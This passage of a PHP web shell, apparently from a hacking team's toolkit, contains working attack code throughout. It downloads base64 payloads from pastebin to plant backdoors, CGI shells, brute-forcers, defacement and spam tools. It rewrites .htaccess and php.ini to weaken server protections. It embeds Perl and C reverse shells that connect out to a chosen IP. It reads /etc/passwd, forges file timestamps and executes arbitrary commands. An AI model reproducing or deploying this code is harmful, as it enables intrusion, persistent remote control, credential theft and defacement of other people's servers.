1459 p('</pre>');
1460 }
1461} elseif ($action == 'allconfig') {
1462 mkdir('Get_all_config', 0755);
1463 chdir('Get_all_config');
1464 $kokdosya = ".htaccess";
1465 $dosya_adi = "$kokdosya";
1466 $dosya = fopen($dosya_adi, 'w') or die("Can not open file!");
1467 $metin = "Options +FollowSymLinks +Indexes
1468DirectoryIndex default.html
1469## START ##
1470Options +ExecCGI
1471AddHandler cgi-script log cgi pl tg love h4 tgb x-zone
1472RewriteEngine on
1473RewriteRule (.*)\.war$ .log
1474## END ##";
1475 fwrite($dosya, $metin);
1476 fclose($dosya);
1477 $perltoolss = file_get_contents('http://pastebin.com/raw/xT36maPG');
1478 $file = fopen("config.log", "w+");
1479 $write = fwrite($file, base64_decode($perltoolss));
1480 fclose($file);
1481 chmod("config.log", 0755);
1482 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='Get_all_config/config.log' target='_blank' style='color:red'>config.log</a></font></b></center><center><font color='aqua' size='4'>Password:</font> <font size='4'><a style='color:red'>Đéo Có Pass Đâu</a></font>";
1483} elseif ($action == 'log') {
1484 mkdir('CGI_Duy', 0755);
1485 chdir('CGI_Duy');
1486 $kokdosya = ".htaccess";
1487 $dosya_adi = "$kokdosya";
1488 $dosya = fopen($dosya_adi, 'w') or die("Can not open file!");
1489 $metin = "Options +FollowSymLinks +Indexes
1490DirectoryIndex default.html
1491## START ##
1492Options +ExecCGI
1493AddHandler cgi-script log cgi pl tg love h4 tgb x-zone
1494AddType application/x-httpd-php .jpg
1495RewriteEngine on
1496RewriteRule (.*)\war$ .log
1497## END ##";
1498 fwrite($dosya, $metin);
1499 fclose($dosya);
1500 $pythonp = file_get_contents('http://pastebin.com/raw.php?i=HcHMMXa5');
1501 $file = fopen("DuyCGI.log", "w+");
1502 $write = fwrite($file, base64_decode($pythonp));
1503 fclose($file);
1504 chmod("DuyCGI.log", 0755);
1505 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='CGI_Duy/DuyCGI.log' target='_blank' style='color:red'>DuyCGI.log</a></font></b></center><center><font color='aqua' size='4'>Password:</font> <font size='4'><a style='color:red'>monkiradg</a></font>";
1506} elseif ($action == 'pl') {
1507 mkdir('CGI_Duy', 0755);
1508 chdir('CGI_Duy');
1509 $pythonp = file_get_contents('http://pastebin.com/raw.php?i=JshksKcP');
1510 $file = fopen("DuyCGI.pl", "w+");
1511 $write = fwrite($file, base64_decode($pythonp));
1512 fclose($file);
1513 chmod("DuyCGI.pl", 0755);
1514 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='CGI_Duy/DuyCGI.pl' target='_blank' style='color:red'>DuyCGI.pl</a></font></b></center><center><font color='aqua' size='4'>Password:</font> <font size='4'><a style='color:red'>monkiradg</a></font>";
1515} elseif ($action == 'shtml') {
1516 mkdir('CGI_Duy', 0755);
1517 chdir('CGI_Duy');
1518 $kokdosya = ".htaccess";
1519 $dosya_adi = "$kokdosya";
1520 $dosya = fopen($dosya_adi, 'w') or die("Can not open file!");
1521 $metin = "AddType text/html .shtml
1522AddHandler server-parsed .shtml
1523Options +Includes";
1524 fwrite($dosya, $metin);
1525 fclose($dosya);
1526 $pythonp = file_get_contents('http://pastebin.com/raw.php?i=vi3NsujB');
1527 $file = fopen("Duy.shtml", "w+");
1528 $write = fwrite($file, base64_decode($pythonp));
1529 fclose($file);
1530 chmod("Duy.shtml", 0755);
1531 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='CGI_Duy/Duy.shtml' target='_blank' style='color:red'>Duy.shtml</a></font></b></center><center><font color='aqua' size='4'>Password:</font> <font size='4'><a style='color:red'>monkiradg</a></font>";
1532}
1533//SQLI
1534elseif ($action == 'sqlin') {
1535 echo "<iframe src='http://www.hidemo.org/dev/' width='100%' height='500'></iframe>";
1536} elseif ($action == 'backconnect') {
1537 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
1538 !$yourport && $yourport = '7777';
1539 $usedb = array('perl' => 'perl', 'c' => 'c');
1540 $back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj" . "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR" . "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT" . "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI" . "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi" . "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl" . "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1541 $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC" . "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb" . "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd" . "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ" . "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC" . "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D" . "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp" . "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1542 if ($start && $yourip && $yourport && $use) {
1543 if ($use == 'perl') {
1544 cf('/tmp/angel_bc', $back_connect);
1545 $res = execute(which('perl') . " /tmp/angel_bc $yourip $yourport &");
1546 } else {
1547 cf('/tmp/angel_bc.c', $back_connect_c);
1548 $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
1549 @unlink('/tmp/angel_bc.c');
1550 $res = execute("/tmp/angel_bc $yourip $yourport &");
1551 }
1552 m("Now script try connect to $yourip port $yourport ...");
1553 }
1554 formhead(array('title' => '<h2>Lệnh Back Connect: nc -vv -l -p 7777 �<a style="color:aqua;" href="https://file.io/3VhMD0" target="_blank" title="Tải Netcat tại đây">Tải NetCat�</a></h2>'));
1555 makehide('action', 'backconnect');
1556 p('
1557');
1558 p('IP:');
1559 makeinput(array('name' => 'yourip', 'size' => 20, 'value' => $yourip));
1560 p('Cổng:');
1561 makeinput(array('name' => 'yourport', 'size' => 15, 'value' => $yourport));
1562 p('Use:');
1563 makeselect(array('name' => 'use', 'option' => $usedb, 'selected' => $use));
1564 makeinput(array('name' => 'start', 'value' => 'Enter', 'type' => 'submit', 'class' => 'bt'));
1565 p('');
1566 formfoot();
1567} elseif ($action == 'symtool') {
1568 mkdir('SymTools', 0755);
1569 chdir('SymTools');
1570 $file = fopen($dir . "symtool.php", "w+");
1571 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=xr4p7eam');
1572 $file = fopen("symtool.php", "w+");
1573 $write = fwrite($file, base64_decode($perltoolss));
1574 fclose($file);
1575 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='SymTools/symtool.php' target='_blank' style='color:red'>symtool.php</a></font></b></center>";
1576} elseif ($action == 'phpini') {
1577 $file = fopen($dir . "php.ini", "w+");
1578 $perltoolss = 'c2FmZV9tb2RlICAgICAgICAgID0gICAgICAgT0ZGCmRpc2FibGVfZnVuY3Rpb25zICAgICAgID0gICAgICAgICAgICBOT05F';
1579 $file = fopen("php.ini", "w+");
1580 $write = fwrite($file, base64_decode($perltoolss));
1581 fclose($file);
1582 echo "<br /><center><b><font color='#33ff33' size='4'>Tạo file php.ini thành công</font>";
1583} elseif ($action == 'comode') {
1584 $file = fopen($dir . "cmdz.php", "w+");
1585 $perltoolss = file_get_contents('https://pastebin.com/raw/hFgJDSpN');
1586 $file = fopen("cmdz.php", "w+");
1587 $write = fwrite($file, base64_decode($perltoolss));
1588 fclose($file);
1589 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='cmdz.php' target='_blank' style='color:red'>cmdz.php</a></font></b></center><br><center><font color='aqua' size='4'>";
1590} elseif ($action == 'termi') {
1591 $file = fopen($dir . "DGTerminal.php", "w+");
1592 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=F3AUVq9q');
1593 $file = fopen("DGTerminal.php", "w+");
1594 $write = fwrite($file, base64_decode($perltoolss));
1595 fclose($file);
1596 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='DGTerminal.php' target='_blank' style='color:red'>DGTerminal.php</a></font></b></center><br><center><font color='aqua' size='4'>Username:</font> <font size='4'><a style='color:red'>admin</a></font> <br><font color='aqua' size='4'>Password:</font> <font size='4'><a style='color:red'>admin</a></font></b></center>";
1597} elseif ($action == 'weevely') {
1598 $file = fopen($dir . "modules.php", "w+");
1599 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=iH5hs2EV');
1600 $file = fopen("modules.php", "w+");
1601 $write = fwrite($file, base64_decode($perltoolss));
1602 fclose($file);
1603 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><b><a href='https://github.com/epinna/weevely3/archive/master.zip' target='_blank'><font color='#ff4e00' size='4'>Download Weevely</font></a><br><br></b><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='modules.php' target='_blank' style='color:red'>modules.php</a></font></b></center><br><center><font color='aqua' size='4'>Password:</font> <font size='4'><a style='color:red'>monkira</a></font></b></center>";
1604} elseif ($action == 'brutewp') {
1605 $file = fopen($dir . "brutewp.php", "w+");
1606 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=msNKkZQx');
1607 $file = fopen("brutewp.php", "w+");
1608 $write = fwrite($file, base64_decode($perltoolss));
1609 fclose($file);
1610 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='brutewp.php' target='_blank' style='color:red'>brutewp.php</a></font></b></center>";
1611} elseif ($action == 'bcphp') {
1612 $file = fopen($dir . "backconnect.php", "w+");
1613 $perltoolss = file_get_contents('https://pastebin.com/raw/w52acxR1');
1614 $file = fopen("backconnect.php", "w+");
1615 $write = fwrite($file, base64_decode($perltoolss));
1616 fclose($file);
1617 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='backconnect.php' target='_blank' style='color:red'>backconnect.php</a></font></b></center>";
1618} elseif ($action == 'fakesym') {
1619 $file = fopen($dir . "fakesym.php", "w+");
1620 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=x99MXWEm');
1621 $file = fopen("fakesym.php", "w+");
1622 $write = fwrite($file, base64_decode($perltoolss));
1623 fclose($file);
1624 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='fakesym.php' target='_blank' style='color:red'>fakesym.php</a></font></b></center>";
1625} elseif ($action == 'pack') {
1626 $file = fopen($dir . "s-pack.php", "w+");
1627 $perltoolss = file_get_contents('http://pastebin.com/raw/t8KG1a5K');
1628 $file = fopen("s-pack.php", "w+");
1629 $write = fwrite($file, base64_decode($perltoolss));
1630 fclose($file);
1631 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='s-pack.php' target='_blank' style='color:red'>s-pack.php</a></font></b></center>";
1632} elseif ($action == 'massr') {
1633 $file = fopen($dir . "massz.php", "w+");
1634 $perltoolss = file_get_contents('http://pastebin.com/raw/DHmtVS0n');
1635 $file = fopen("massz.php", "w+");
1636 $write = fwrite($file, base64_decode($perltoolss));
1637 fclose($file);
1638 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='massz.php' target='_blank' style='color:red'>massz.php</a></font></b></center>";
1639} elseif ($action == 'massfd') {
1640 $file = fopen($dir . "massfd.php", "w+");
1641 $perltoolss = file_get_contents('http://pastebin.com/raw/VzGm1aGP');
1642 $file = fopen("massfd.php", "w+");
1643 $write = fwrite($file, base64_decode($perltoolss));
1644 fclose($file);
1645 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='massfd.php' target='_blank' style='color:red'>massfd.php</a></font></b></center>";
1646} elseif ($action == 'spam') {
1647 $file = fopen($dir . "fakemail.php", "w+");
1648 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=LjRcNVUa');
1649 $file = fopen("fakemail.php", "w+");
1650 $write = fwrite($file, base64_decode($perltoolss));
1651 fclose($file);
1652 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='fakemail.php' target='_blank' style='color:red'>fakemail.php</a></font></b></center>";
1653} elseif ($action == 'priv8') {
1654 $file = fopen($dir . "python.php", "w+");
1655 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=hfmB2ccM');
1656 $file = fopen("python.php", "w+");
1657 $write = fwrite($file, base64_decode($perltoolss));
1658 fclose($file);
1659 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='python.php' target='_blank' style='color:red'>python.php</a></font></b></center>";
1660} elseif ($action == 'zipcode') {
1661 $file = fopen($dir . "zip.php", "w+");
1662 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=mv4KY8ez');
1663 $file = fopen("zip.php", "w+");
1664 $write = fwrite($file, base64_decode($perltoolss));
1665 fclose($file);
1666 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='zip.php' target='_blank' style='color:red'>zip.php</a></font></b></center>";
1667} elseif ($action == 'Jump') {
1668 $file = fopen($dir . "Jump.php", "w+");
1669 $perltoolss = file_get_contents('https://pastebin.com/raw/K5hGKEJH');
1670 $file = fopen("Jump.php", "w+");
1671 $write = fwrite($file, base64_decode($perltoolss));
1672 fclose($file);
1673 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='Jump.php' target='_blank' style='color:red'>Jump.php</a></font></b></center>";
1674} elseif ($action == 'findconfig') {
1675 $file = fopen($dir . "findconfig.php", "w+");
1676 $perltoolss = file_get_contents('https://pastebin.com/raw/pN0LwvNE');
1677 $file = fopen("findconfig.php", "w+");
1678 $write = fwrite($file, base64_decode($perltoolss));
1679 fclose($file);
1680 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='findconfig.php' target='_blank' style='color:red'>findconfig.php</a></font></b></center>";
1681}
1682//end scan
1683//wpedit
1684elseif ($action == 'wpedit') {
1685 $file = fopen($dir . "wpedit.php", "w+");
1686 $perltoolss = file_get_contents('https://pastebin.com/raw/iwGTpdSg');
1687 $file = fopen("wpedit.php", "w+");
1688 $write = fwrite($file, base64_decode($perltoolss));
1689 fclose($file);
1690 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='wpedit.php' target='_blank' style='color:red'>wpedit.php</a></font></b></center>";
1691} elseif ($action == 'zone-h') {
1692 $file = fopen($dir . "zone.php", "w+");
1693 $perltoolss = file_get_contents('https://pastebin.com/raw/bt7miN03');
1694 $file = fopen("zone.php", "w+");
1695 $write = fwrite($file, base64_decode($perltoolss));
1696 fclose($file);
1697 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='zone.php' target='_blank' style='color:red'>zone.php</a></font></b></center>";
1698} elseif ($action == 'brute') {
1699 $file = fopen($dir . "brute.php", "w+");
1700 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=06irSaZv');
1701 $file = fopen("brute.php", "w+");
1702 $write = fwrite($file, base64_decode($perltoolss));
1703 fclose($file);
1704 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='brute.php' target='_blank' style='color:red'>brute.php</a></font></b></center>";
1705} elseif ($action == 'joomla') {
1706 $file = fopen($dir . "joomlabt.php", "w+");
1707 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=EXrxGmq3');
1708 $file = fopen("joomlabt.php", "w+");
1709 $write = fwrite($file, base64_decode($perltoolss));
1710 fclose($file);
1711 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='joomlabt.php' target='_blank' style='color:red'>joomlabt.php</a></font></b></center>";
1712} elseif ($action == 'symljnk') {
1713 $file = fopen($dir . "symljnk.php", "w+");
1714 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=Q30KY0bz');
1715 $file = fopen("symljnk.php", "w+");
1716 $write = fwrite($file, base64_decode($perltoolss));
1717 fclose($file);
1718 echo "<iframe src=symljnk.php width=100% height=720px frameborder=0></iframe>";
1719} elseif ($action == 'md5') {
1720 $file = fopen($dir . "md5.php", "w+");
1721 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=AxsVaupZ');
1722 $file = fopen("md5.php", "w+");
1723 $write = fwrite($file, base64_decode($perltoolss));
1724 fclose($file);
1725 echo "<iframe src=md5.php width=100% height=720px frameborder=0></iframe> ";
1726} elseif ($action == 'Scanshell') {
1727 $file = fopen($dir . "Scanshell.php", "w+");
1728 $perltoolss = file_get_contents('https://pastebin.com/raw/Jd9R5e34');
1729 $file = fopen("Scanshell.php", "w+");
1730 $write = fwrite($file, base64_decode($perltoolss));
1731 fclose($file);
1732 echo "<iframe src=Scanshell.php width=100% height=720px frameborder=0></iframe> ";
1733} elseif ($action == 'reverseip') {
1734 echo "<iframe src=http://www.yougetsignal.com/tools/web-sites-on-web-server/ width=100% height=720px frameborder=0></iframe> ";
1735} elseif ($action == 'df') {
1736 $file = fopen("index3.html", "w+");
1737 $data = base64_decode(file_get_contents('https://pastebin.com/raw/LSDBpKrg'));
1738 fwrite($file, $data);
1739 fclose($file);
1740 echo '<center>Tải lên index lên thành công !</center>';
1741} elseif ($action == 'backdoor') {
1742 $file = fopen("index2.php", "w+");
1743 $data = base64_decode(file_get_contents('http://pastebin.com/raw/p4uCJnSC'));
1744 fwrite($file, $data);
1745 fclose($file);
1746 echo '<center>Gắn BackDoor thành công!!</center></br>';
1747 echo '<a href="index2.php?MonKira=dir -lia" target="_blank"><center><font color=#E0FFFF>Mở BackDoor Command</font></a></br></center>';
1748 echo '<a href="index2.php?login=" target="_blank"><center><font color=#52F3FF>Mở BackDoor UpLoad</font></center></a>';
1749} elseif ($action == 'find') {
1750 $file = fopen("findadmin.php", "w+");
1751 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=Wmib0LHd');
1752 $write = fwrite($file, base64_decode($perltoolss));
1753 fclose($file);
1754 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='findadmin.php' target='_blank' style='color:red'>findadmin.php</a></font></b></center>";
1755} elseif ($action == 'huongdan') {
1756 echo "<iframe src=http://pastebin.com/raw.php?i=v6gwEzug width=100% height=720px frameborder=0 style=\"background-color: white;\"></iframe> ";
1757} elseif ($action == 'exlocal') {
1758 echo "<iframe src=http://pastebin.com/raw.php?i=PSSwEiY2 width=100% height=720px frameborder=0 style=\"background-color: white;\"></iframe> ";
1759} elseif ($action == 'editfile') {
1760 if (file_exists($opfile)) {
1761 $fp = @fopen($opfile, 'r');
1762 $contents = @fread($fp, filesize($opfile));
1763 @fclose($fp);
1764 $contents = htmlspecialchars($contents);
1765 }
1766 formhead(array('title' => 'Tạo mới và chỉnh sửa file'));
1767 makehide('action', 'file');
1768 makehide('dir', $nowpath);
1769 makeinput(array('title' => 'Path file (ghi đầy đủ path khi tạo mới file)', 'name' => 'editfilename', 'value' => $opfile, 'newline' => 1));
1770 maketext(array('title' => 'Code file', 'name' => 'filecontent', 'value' => $contents));
1771 formfooter();
1772} elseif ($action == 'newtime') {
1773 $opfilemtime = @filemtime($opfile);
1774 $cachemonth = array('January' => 1, 'February' => 2, 'March' => 3, 'April' => 4, 'May' => 5, 'June' => 6, 'July' => 7, 'August' => 8, 'September' => 9, 'October' => 10, 'November' => 11, 'December' => 12);
1775 formhead(array('title' => 'Clone file was last modified time'));
1776 makehide('action', 'file');
1777 makehide('dir', $nowpath);
1778 makeinput(array('title' => 'Alter file', 'name' => 'curfile', 'value' => $opfile, 'size' => 120, 'newline' => 1));
1779 makeinput(array('title' => 'Reference file (fullpath)', 'name' => 'tarfile', 'size' => 120, 'newline' => 1));
1780 formfooter();
1781 formhead(array('title' => 'Set last modified'));
1782 makehide('action', 'file');
1783 makehide('dir', $nowpath);
1784 makeinput(array('title' => 'Path file hiện tại:', 'name' => 'curfile', 'value' => $opfile, 'size' => 120, 'newline' => 1));
1785 p('<p>Instead »');
1786 p('year:');
1787 makeinput(array('name' => 'year', 'value' => date('Y', $opfilemtime), 'size' => 4));
1788 p('month:');
1789 makeinput(array('name' => 'month', 'value' => date('m', $opfilemtime), 'size' => 2));
1790 p('day:');
1791 makeinput(array('name' => 'day', 'value' => date('d', $opfilemtime), 'size' => 2));
1792 p('hour:');
1793 makeinput(array('name' => 'hour', 'value' => date('H', $opfilemtime), 'size' => 2));
1794 p('minute:');
1795 makeinput(array('name' => 'minute', 'value' => date('i', $opfilemtime), 'size' => 2));
1796 p('second:');
1797 makeinput(array('name' => 'second', 'value' => date('s', $opfilemtime), 'size' => 2));
1798 p('</p>');
1799 formfooter();
1800} elseif ($action == 'symroot') {
1801 $file = fopen($dir . "symroot.php", "w+");
1802 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=cJZV55s1');
1803 $file = fopen("symroot.php", "w+");
1804 $write = fwrite($file, base64_decode($perltoolss));
1805 fclose($file);
1806 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='symroot.php' target='_blank' style='color:red'>symroot.php</a></font></b></center>";
1807}
1808if ($action == 'USER') {
1809 if (file_exists('/etc/passwd')) {
1810 $getfile = file_get_contents('/etc/passwd');
1811 $exline = explode("\n", $getfile);
1812 echo "<table>
1813 <tr>
1814 <th>Username</th>
1815 <th>Password?</th>
1816 <th>UID</th>
1817 <th>GID</th>
1818 <th>UID Info</th>
1819 <th>Home Directory</th>
1820 <th>Command/Shell</th>
1821 </tr>";
1822 foreach ($exline as $exl) {
1823 echo "<tr>";
1824 $excol = explode(":", $exl);
1825 foreach ($excol as $exc) {
1826 echo "<td>$exc</td>";
1827 }
1828 echo "</tr>";
1829 }
1830 echo "</table>";
1831 } else {
1832 error("/etc/passwd does not exist!");
1833 }
1834}
1835if ($action == 'MEM') {
1836 if (file_exists('/proc/meminfo')) {
1837 $raminfo = file_get_contents('/proc/meminfo');
1838 echo "Ram:<br><pre>$raminfo</pre><br><br>";
1839 } else {
1840 error("/proc/meminfo does not exist!");
1841 }
1842 $hddfree = disk_free_space("/");
1843 $hddtotal = disk_total_space("/");
1844 $hddused = $hddtotal - $hddfree;
1845 $hddpercent = round(($hddused / $hddtotal) * 100);
1846 echo "HDD:<br>Total Space: " . ByteConversion($hddtotal) . "<br>Free Space: " . ByteConversion($hddfree) . "<br>Used Space: " . ByteConversion($hddused) . "<br>Percent Used: ~$hddpercent%";
1847}
1848if ($action == 'CPU') {
1849 if (file_exists('/proc/cpuinfo')) {
1850 $cpuinfo = file_get_contents('/proc/cpuinfo');
1851 echo "<center>
1852 CPU Information:<br>
1853 <textarea cols='120' rows='20'>$cpuinfo</textarea>
1854 </center>";
1855 } else {
1856 error('/proc/cpuinfo does not exist!');
1857 }
1858}
1859if ($action == 'shell') {
1860 if (IS_WIN && IS_COM) {
1861 if ($program && $parameter) {
1862 $shell = new COM('Shell.Application');
1863 $a = $shell->ShellExecute($program, $parameter);
1864 m('Program run has ' . (!$a ? 'success' : 'fail'));
1865 }
1866 !$program && $program = 'c:\indows\ystem32\md.exe';
1867 !$parameter && $parameter = '/c net start > ' . SA_ROOT . 'log.txt';
1868 formhead(array('title' => 'Execute Program'));
1869 makehide('action', 'shell');
1870 makeinput(array('title' => 'Program', 'name' => 'program', 'value' => $program, 'newline' => 1));
1871 p('<p>');
1872 makeinput(array('title' => 'Parameter', 'name' => 'parameter', 'value' => $parameter));
1873 makeinput(array('name' => 'submit', 'class' => 'bt', 'type' => 'submit', 'value' => 'Execute'));
1874 p('</p>');
1875 formfoot();
1876 }
1877 formhead(array('title' => 'Execute Command'));
1878 makehide('action', 'shell');
1879 if (IS_WIN && IS_COM) {
1880 $execfuncdb = array('phpfunc' => 'phpfunc', 'wscript' => 'wscript', 'proc_open' => 'proc_open');
1881 makeselect(array('title' => 'Use:', 'name' => 'execfunc', 'option' => $execfuncdb, 'selected' => $execfunc, 'newline' => 1));
1882 }
1883 p('<p>');
1884 makeinput(array('title' => 'Command', 'name' => 'command', 'value' => $command));
1885 makeinput(array('name' => 'submit', 'class' => 'bt', 'type' => 'submit', 'value' => 'Execute'));
1886 p('</p>');
1887 formfoot();
1888 if ($command) {
1889 p('<hr width="100%" noshade /><pre>');
1890 if ($execfunc == 'wscript' && IS_WIN && IS_COM) {
1891 $wsh = new COM('WScript.shell');
1892 $exec = $wsh->exec('cmd.exe /c ' . $command);
1893 $stdout = $exec->StdOut();
1894 $stroutput = $stdout->ReadAll();
1895 echo $stroutput;
1896 } elseif ($execfunc == 'proc_open' && IS_WIN && IS_COM) {
1897 $descriptorspec = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
1898 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
1899 if (is_resource($process)) {
1900 fwrite($pipes[0], $command . "
1901");
1902 fwrite($pipes[0], "exit
1903");
1904 fclose($pipes[0]);
1905 while (!feof($pipes[1])) {
1906 echo fgets($pipes[1], 1024);
1907 }
1908 fclose($pipes[1]);
1909 while (!feof($pipes[2])) {
1910 echo fgets($pipes[2], 1024);
1911 }
1912 fclose($pipes[2]);
1913 proc_close($process);
1914 }
1915 } else {
1916 echo (execute($command));
1917 }
1918 p('</pre>');
1919 }
1920}
1921?></td></tr></table>
1922<div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
1923 <span style="float:right;"><?php
1924debuginfo();
1925ob_end_flush();
1926?>
1927
1928</span>
1929 Copyright 2017 : <a href=# target=_blank><B>.1945VN Team. </B></a>
1930</div>
1931</body>
1932</html>
1933<?php
1934function m($msg) {
1935 echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
1936 echo $msg;
1937 echo '</div>';
1938}
1939function scookie($key, $value, $life = 0, $prefix = 1) {
1940 global $admin, $timestamp, $_SERVER;
1941 $key = ($prefix ? $admin['cookiepre'] : '') . $key;
1942 $life = $life ? $life : $admin['cookielife'];
1943 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
1944 setcookie($key, $value, $timestamp + $life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
1945}
1946function multi($num, $perpage, $curpage, $tablename) {
1947 $multipage = '';
1948 if ($num > $perpage) {
1949 $page = 10;
1950 $offset = 5;
1951 $pages = @ceil($num / $perpage);
1952 if ($page > $pages) {
